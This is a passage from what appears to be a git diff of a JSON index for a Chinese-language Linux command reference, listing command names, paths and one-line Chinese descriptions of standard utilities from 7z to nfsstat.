制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat